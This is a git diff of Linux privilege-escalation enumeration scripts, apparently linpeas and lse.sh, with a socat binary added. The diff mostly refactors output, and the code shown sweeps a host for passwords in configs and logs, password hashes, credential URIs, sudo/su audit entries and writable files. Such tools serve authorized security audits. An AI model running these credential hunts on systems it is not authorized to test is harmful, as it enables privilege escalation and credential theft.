"s,user.*|password.*,${C}[1;31m&${C}[0m," - echo "" - fi; - fi; - done - echo "" - ##-- IF) All hidden files - printf $Y"[+] "$GREEN"All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)\n"$NC - find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "\.env|\.google_authenticator|_history$|\.recently-used.xbel|\.lesshst|.sudo_as_admin_successful|\.profile|\.bashrc|\.plan|\.htpasswd|.gitconfig|\.git-credentials|\.rhosts|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 + print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)" + find / -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70 echo "" ##-- IF) Readable files in /tmp, /var/tmp, bachups - printf $Y"[+] "$GREEN"Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)\n"$NC + print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)" filstmpback=`find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70` printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done echo "" ##-- IF) Interesting writable files by ownership or all if ! [ "$IAMROOT" ]; then - printf $Y"[+] "$GREEN"Interesting writable files owned by me or writable by everyone (not in Home) (max 500)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files\n"$NC + print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" #In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all obmowbe=`find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500` printf "%s\n" "$obmowbe" | while read entry; do if [ "`echo \"$entry\" | grep \"You_can_write_even_more_files_inside_last_directory\"`" ]; then printf $ITALIC"$entry\n"$NC; - elif [ "`echo \"$entry\" | grep -E \"$writeVB\"`" ]; then - echo "$entry" | sed -${E} "s,$writeVB,${C}[1;31;103m&${C}[0m," + elif [ "`echo \"$entry\" | grep -E \"$writeVB\"`" ]; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," else - echo "$entry" | sed -${E} "s,$writeB,${C}[1;31m&${C}[0m," + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," fi done echo "" @@ -3275,17 +3163,17 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then ##-- IF) Interesting writable files by group if ! [ "$IAMROOT" ]; then - printf $Y"[+] "$GREEN"Interesting GROUP writable files (not in Home) (max 500)\n"$NC - printf $B"[i] "$Y"https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files\n"$NC - for g in `groups`; do - printf " Group "$GREEN"$g:\n"$NC; + print_2title "Interesting GROUP writable files (not in Home) (max 500)" + print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files" + for g in `groups`; do + printf " Group "$GREEN"$g:\n"$NC; iwfbg=`find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500` printf "%s\n" "$iwfbg" | while read entry; do if [ "`echo \"$entry\" | grep \"You_can_write_even_more_files_inside_last_directory\"`" ]; then printf $ITALIC"$entry\n"$NC; - elif [ "`echo \"$entry\" | grep -E \"$writeVB\"`" ]; then - echo "$entry" | sed -${E} "s,$writeVB,${C}[1;31;103m&${C}[0m," + elif [ "`echo \"$entry\" | grep -E \"$writeVB\"`" ]; then + echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW}," else - echo "$entry" | sed -${E} "s,$writeB,${C}[1;31m&${C}[0m," + echo "$entry" | sed -${E} "s,$writeB,${SED_RED}," fi done done @@ -3293,73 +3181,72 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then fi ##-- IF) Passwords in config PHP files - printf $Y"[+] "$GREEN"Searching passwords in config PHP files\n"$NC - configs=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS" | grep -E '.*config.*\.php|database.php|db.php|storage.php|settings.php') - printf "%s\n" "$configs" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" $c 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${C}[1;31m&${C}[0m,g"; done + print_2title "Searching passwords in config PHP files" + printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" $c 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done echo "" ##-- IF) TTY passwords - printf $Y"[+] "$GREEN"Checking for TTY (sudo/su) passwords in audit logs\n"$NC - aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${C}[1;31m&${C}[0m,g" - find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${C}[1;31m&${C}[0m,g" | sed -${E} "s,data=.*,${C}[1;31m&${C}[0m,g" + print_2title "Checking for TTY (sudo/su) passwords in audit logs" + aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" + find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" echo "" ##-- IF) IPs inside logs - printf $Y"[+] "$GREEN"Finding IPs inside logs (limit 70)\n"$NC + print_2title "Finding IPs inside logs (limit 70)" (find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70 echo "" ##-- IF) Passwords inside logs - printf $Y"[+] "$GREEN"Finding passwords inside logs (limit 70)\n"$NC - (find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${C}[1;31m&${C}[0m," + print_2title "Finding passwords inside logs (limit 70)" + (find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," echo "" ##-- IF) Emails inside logs - printf $Y"[+] "$GREEN"Finding emails inside logs (limit 70)\n"$NC - (find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${C}[1;32m&${C}[0m,g" - echo "" + print_2title "Finding emails inside logs (limit 70)" + (find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" + echo "" ##-- IF) Passwords files in home - printf $Y"[+] "$GREEN"Finding *password* or *credential* files in home (limit 70)\n"$NC - (echo "$FIND_HOME $FIND_USR" | grep -E '.*password.*|.*credential.*|creds.*' | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${C}[1;31m&${C}[0m," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found + print_2title "Finding *password* or *credential* files in home (limit 70)" + (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found echo "" if ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords - printf $Y"[+] "$GREEN"Finding passwords inside key folders (limit 70) - only PHP files\n"$NC + print_2title "Finding passwords inside key folders (limit 70) - only PHP files" intpwdfiles=`timeout 150 grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" $HOMESEARCH /var/www /usr/local/www/ $backup_folders_row /tmp /etc /root /mnt /Users /private 2>/dev/null` - printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${C}[1;31m&${C}[0m,g" + printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" echo "" - printf $Y"[+] "$GREEN"Finding passwords inside key folders (limit 70) - no PHP files\n"$NC - printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${C}[1;31m&${C}[0m,g" + print_2title "Finding passwords inside key folders (limit 70) - no PHP files" + printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g" echo "" ##-- IF) Find possible files with passwords - printf $Y"[+] "$GREEN"Finding possible password variables inside key folders (limit 140)\n"$NC - timeout 150 grep -RiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" $HOMESEARCH /Users 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables2,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables3,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables4,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables5,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables6,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables7,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables8,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables9,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables10,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables11,${C}[1;31m&${C}[0m,g" - timeout 150 grep -RiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" /var/www $backup_folders_row /tmp /etc /root /mnt /private 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables2,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables3,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables4,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables5,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables6,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables7,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables8,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables9,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables10,${C}[1;31m&${C}[0m,g" | sed -${E} "s,$pwd_in_variables11,${C}[1;31m&${C}[0m,g" + print_2title "Finding possible password variables inside key folders (limit 140)" + timeout 150 grep -RiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" $HOMESEARCH /Users 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" + timeout 150 grep -RiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" /var/www $backup_folders_row /tmp /etc /root /mnt /private 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" echo "" ##-- IF) Find possible conf files with passwords - printf $Y"[+] "$GREEN"Finding possible password in config files\n"$NC + print_2title "Finding possible password in config files" ppicf=`find $HOMESEARCH /etc /root /tmp /private /Applications -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" 2>/dev/null` printf "%s\n" "$ppicf" | while read f; do if [ "`grep -EiI 'passwd.*|creden.*' \"$f\" 2>/dev/null`" ]; then echo $ITALIC" $f"$NC - grep -EiIo 'passw.*|creden.*' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${C}[1;31m&${C}[0m,g" + grep -EiIo 'passw.*|creden.*' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" fi done echo "" ##-- IF) Find possible files with usernames - printf $Y"[+] "$GREEN"Finding 'username' string inside key folders (limit 70)\n"$NC - timeout 150 grep -RiIE "username.*[=:].+" $HOMESEARCH /Users 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | grep -v "/linpeas" | sort | uniq | head -n 70 | sed -${E} "s,[uU][sS][eE][rR][nN][aA][mM][eE],${C}[1;31m&${C}[0m,g" - timeout 150 grep -RiIE "username.*[=:].+" /var/www $backup_folders_row /tmp /etc /root /mnt /private 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | grep -v "/linpeas" | sort | uniq | head -n 70 | sed -${E} "s,[uU][sS][eE][rR][nN][aA][mM][eE],${C}[1;31m&${C}[0m,g" + print_2title "Finding 'username' string inside key folders (limit 70)" + timeout 150 grep -RiIE "username.*[=:].+" $HOMESEARCH /Users 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | grep -v "/linpeas" | sort | uniq | head -n 70 | sed -${E} "s,[uU][sS][eE][rR][nN][aA][mM][eE],${SED_RED},g" + timeout 150 grep -RiIE "username.*[=:].+" /var/www $backup_folders_row /tmp /etc /root /mnt /private 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | grep -v "/linpeas" | sort | uniq | head -n 70 | sed -${E} "s,[uU][sS][eE][rR][nN][aA][mM][eE],${SED_RED},g" echo "" ##-- IF) Specific hashes inside files - printf $Y"[+] "$GREEN"Searching specific hashes inside files - less false positives (limit 70)\n"$NC + print_2title "Searching specific hashes inside files - less false positives (limit 70)" regexblowfish='\$2[abxyz]?\$[0-9]{2}\$[a-zA-Z0-9_/\.]*' regexjoomlavbulletin='[0-9a-zA-Z]{32}:[a-zA-Z0-9_]{16,32}' regexphpbb3='\$H\$[a-zA-Z0-9_/\.]{31}' @@ -3369,24 +3256,24 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then regexapr1md5='\$apr1\$[a-zA-Z0-9_/\.]{8}\$[a-zA-Z0-9_/\.]{22}' regexsha512crypt='\$6\$[a-zA-Z0-9_/\.]{16}\$[a-zA-Z0-9_/\.]{86}' regexapachesha='\{SHA\}[0-9a-zA-Z/_=]{10,}' - timeout 150 grep -RIEHo "$regexblowfish|$regexjoomlavbulletin|$regexphpbb3|$regexwp|$regexdrupal|$regexlinuxmd5|$regexapr1md5|$regexsha512crypt|$regexapachesha" /etc $backup_folders_row /tmp /var/tmp /var/www /root $HOMESEARCH /mnt /Users /private /Applications 2>/dev/null | grep -v "/.git/\|/sources/authors/" | grep -Ev "$notExtensions" | grep -Ev "0{20,}" | head -n 70 | sed "s,:.*,${C}[1;31m&${C}[0m," + timeout 150 grep -RIEHo "$regexblowfish|$regexjoomlavbulletin|$regexphpbb3|$regexwp|$regexdrupal|$regexlinuxmd5|$regexapr1md5|$regexsha512crypt|$regexapachesha" /etc $backup_folders_row /tmp /var/tmp /var/www /root $HOMESEARCH /mnt /Users /private /Applications 2>/dev/null | grep -v "/.git/\|/sources/authors/" | grep -Ev "$notExtensions" | grep -Ev "0{20,}" | head -n 70 | sed "s,:.*,${SED_RED}," echo "" fi if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Specific hashes inside files - printf $Y"[+] "$GREEN"Searching md5/sha1/sha256/sha512 hashes inside files (limit 50 - only 1 per file)\n"$NC + print_2title "Searching md5/sha1/sha256/sha512 hashes inside files (limit 50 - only 1 per file)" regexmd5='(^|[^a-zA-Z0-9])[a-fA-F0-9]{32}([^a-zA-Z0-9]|$)' regexsha1='(^|[^a-zA-Z0-9])[a-fA-F0-9]{40}([^a-zA-Z0-9]|$)' regexsha256='(^|[^a-zA-Z0-9])[a-fA-F0-9]{64}([^a-zA-Z0-9]|$)' regexsha512='(^|[^a-zA-Z0-9])[a-fA-F0-9]{128}([^a-zA-Z0-9]|$)' - timeout 150 grep -RIEHo "$regexmd5|$regexsha1|$regexsha256|$regexsha512" /etc $backup_folders_row /tmp /var/tmp /var/www /root $HOMESEARCH /mnt /Users /private /Applications 2>/dev/null | grep -v "/.git/\|/sources/authors/" | grep -Ev "$notExtensions" | grep -Ev "0{20,}" | awk -F: '{if (pre != $1){ print $0; }; pre=$1}' | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 2){ print line_init; } if (cont == "2"){print " #)There are more hashes files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 50 | sed "s,:.*,${C}[1;31m&${C}[0m," | sed "s,There are more hashes files in the previous parent folder,${C}[3m&${C}[0m," + timeout 150 grep -RIEHo "$regexmd5|$regexsha1|$regexsha256|$regexsha512" /etc $backup_folders_row /tmp /var/tmp /var/www /root $HOMESEARCH /mnt /Users /private /Applications 2>/dev/null | grep -v "/.git/\|/sources/authors/" | grep -Ev "$notExtensions" | grep -Ev "0{20,}" | awk -F: '{if (pre != $1){ print $0; }; pre=$1}' | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 2){ print line_init; } if (cont == "2"){print " #)There are more hashes files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 50 | sed "s,:.*,${SED_RED}," | sed "s,There are more hashes files in the previous parent folder,${C}[3m&${C}[0m," echo "" fi - + if ! [ "$SUPERFAST" ] && ! [ "$FAST" ]; then ##-- IF) Find URIs with user:password@hoststrings - printf $Y"[+] "$GREEN"Finding URIs with user:password@host inside key folders\n"$NC + print_2title "Finding URIs with user:password@host inside key folders" timeout 150 find /var/www $backup_folders_row /tmp /etc /var/log /private/var/log -type f -exec grep -RiIE "://(.+):(.+)@" "{}" \; 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | sort | uniq | sed -${E} "s,:\/\/(.+):(.+)@,://${C}[1;31m\1:\2${C}[0m@,g" timeout 150 grep -RiIE "://(.+):(.+)@" $HOMESEARCH 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | sort | uniq | sed -${E} "s,:\/\/(.+):(.+)@,://${C}[1;31m\1:\2${C}[0m@,g" timeout 150 grep -RiIE "://(.+):(.+)@" /mnt 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | sort | uniq | sed -${E} "s,:\/\/(.+):(.+)@,://${C}[1;31m\1:\2${C}[0m@,g" @@ -3396,4 +3283,4 @@ if [ "`echo $CHECKS | grep IntFiles`" ]; then timeout 150 grep -RiIE "://(.+):(.+)@" /Applications 2>/dev/null | sed '/^.\{150\}./d' | grep -v "#" | sort | uniq | sed -${E} "s,:\/\/(.+):(.+)@,://${C}[1;31m\1:\2${C}[0m@,g" echo "" fi -fi +fi \ No newline at end of file diff --git a/lse.sh b/lse.sh index 413717e..04a0cdd 100755 --- a/lse.sh +++ b/lse.sh @@ -4,8 +4,8 @@ # Author: Diego Blanco # GitHub: https://github.com/diego-treitos/linux-smart-enumeration -# -lse_version="3.2" +# +lse_version="3.3" #( Colors # @@ -287,7 +287,7 @@ lse_set_level() { esac } lse_help() { - echo "Use: $0 [options]" + echo "Use: $0 [options]" echo echo " OPTIONS" echo " -c Disable color" @@ -404,7 +404,7 @@ lse_test() { cecho "${red}---$reset\n" fi return 1 - fi + fi # If level is 2 and lse_level is less than 2, then we do not execute # level 2 tests unless their output needs to be assigned to a variable @@ -534,7 +534,7 @@ lse_exit() { } lse_procmon() { # monitor processes - #NOTE: The first number will be the number of occurrences of a process due to + #NOTE: The first number will be the number of occurrences of a process due to # uniq -c while [ -f "$lse_procmon_lock" ]; do ps -ewwwo start_time,pid,user:50,args @@ -564,7 +564,7 @@ lse_proc_print() { # A successful test will receive some output while a failed tests will receive # an empty string. # -########################################################################( users +########################################################################( users lse_run_tests_users() { lse_header "usr" "users" @@ -582,8 +582,8 @@ lse_run_tests_users() { #other users in an administrative group lse_test "usr020" "1" \ - "Are there other users in an administrative groups?" \ - 'grep $lse_grep_opts -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -Ev ":$" | grep $lse_grep_opts -Ei ":[a-z_-]+\$"' + "Are there other users in administrative groups?" \ + 'grep $lse_grep_opts -E "^(adm|admin|root|sudo|wheel)" /etc/group | grep -Ev ":$|:$lse_user$" | grep $lse_grep_opts -Ei ":[,a-z_-]+\$"' #other users with shell lse_test "usr030" "1" \ @@ -591,7 +591,7 @@ lse_run_tests_users() { 'grep $lse_grep_opts -E ":/[a-z/]+sh\$" /etc/passwd' \ "" \ "lse_shell_users" - + #user env information lse_test "usr040" "2" \ "Environment information" \ @@ -722,7 +722,7 @@ lse_run_tests_filesystem() { "Can we write to any setgid binary?" \ 'for b in $lse_setgid_binaries; do [ -x "$b" ] && [ -w "$b" ] && echo "$b" ;done' \ "fst040" - + #can we read /root lse_test "fst070" "1" \ "Can we read /root?" \ @@ -863,7 +863,7 @@ lse_run_tests_system() { lse_test "sys050" "1" \ "Can root user log in via SSH?" \ 'grep -E "^[[:space:]]*PermitRootLogin " /etc/ssh/sshd_config | grep -E "(yes|without-password|prohibit-password)"' - + #list available shells lse_test "sys060" "2" \ "List available shells" \ @@ -919,7 +919,7 @@ lse_run_tests_security() { "Does current user have capabilities?" \ 'printf "$lse_user_caps\n" | grep "$lse_user"' \ "sec040" - + #can user read the auditd log lse_test "sec060" "0" \ "Can we read the auditd log?" \ @@ -927,7 +927,7 @@ lse_run_tests_security() { } -##############################################################( recurrent tasks +##############################################################( recurrent tasks lse_run_tests_recurrent_tasks() { lse_header "ret" "recurrent tasks" @@ -960,7 +960,7 @@ lse_run_tests_recurrent_tasks() { #can we write to any paths present in cron tasks? lse_test "ret050" "1" \ "Can we write to any paths present in cron jobs" \ - 'for p in `grep --color=never -hERoi "/[a-z0-9_/\.\-]+" /etc/cron* | sort -u`; do [ -w "$p" ] && echo "$p"; done' \ + 'for p in `grep --color=never -hERoi "/[a-z0-9_/\.\-]+" /etc/cron* | grep -Ev "/dev/(null|zero|random|urandom)" | sort -u`; do [ -w "$p" ] && echo "$p"; done' \ "" \ "lse_user_writable_cron_paths" @@ -980,7 +980,7 @@ lse_run_tests_recurrent_tasks() { #user timers lse_test "ret500" "1" \ "User systemd timers" \ - 'systemctl --user list-timers --all | grep -Ev "(^$|timers listed)"' + 'systemctl --user list-timers --all | grep -iq "\.timer" && systemctl --user list-timers --all' #can we write in any system timer? lse_test "ret510" "0" \ @@ -1026,7 +1026,7 @@ lse_run_tests_network() { #nameservers lse_test "net530" "2" \ - "Namerservers" \ + "Nameservers" \ 'grep "nameserver" /etc/resolv.conf' #systemd nameservers @@ -1038,7 +1038,7 @@ lse_run_tests_network() { lse_test "net550" "2" \ "Listening TCP" \ 'netstat -tnlp || ss -tnlp' - + #listening UDP lse_test "net560" "2" \ "Listening UDP" \ @@ -1187,7 +1187,7 @@ lse_run_tests_software() { #check if there are ssh private keys in ssh-agent lse_test "sof050" "0" \ "Are there private keys in ssh-agent?" \ - 'ssh-add -l' + 'ssh-add -l | grep -iv "agent has no identities"' #check if there are gpg keys in gpg-agent lse_test "sof060" "0" \ diff --git a/socat b/socat new file mode 100644 index 0000000000000000000000000000000000000000..ddb90978a0d8d861b31913bea7adf94d68ca7339 GIT binary patch literal 375176 zcmdRX3z$_?8~>SUj;8CGQi{+-F$lQ~C6m+T)Q*O!42g(H?%|v+n3|k9nr%CbON0=K zknam!M!L)tbD}U324VQ}*~f{7FC4`DfA722+LtruB;Wsg{?GI8d787=TJL&q>s{}9 z*KP0Ffl8FQ@5`-_zgI3V-uFK8CeRM5zGu^Us?7 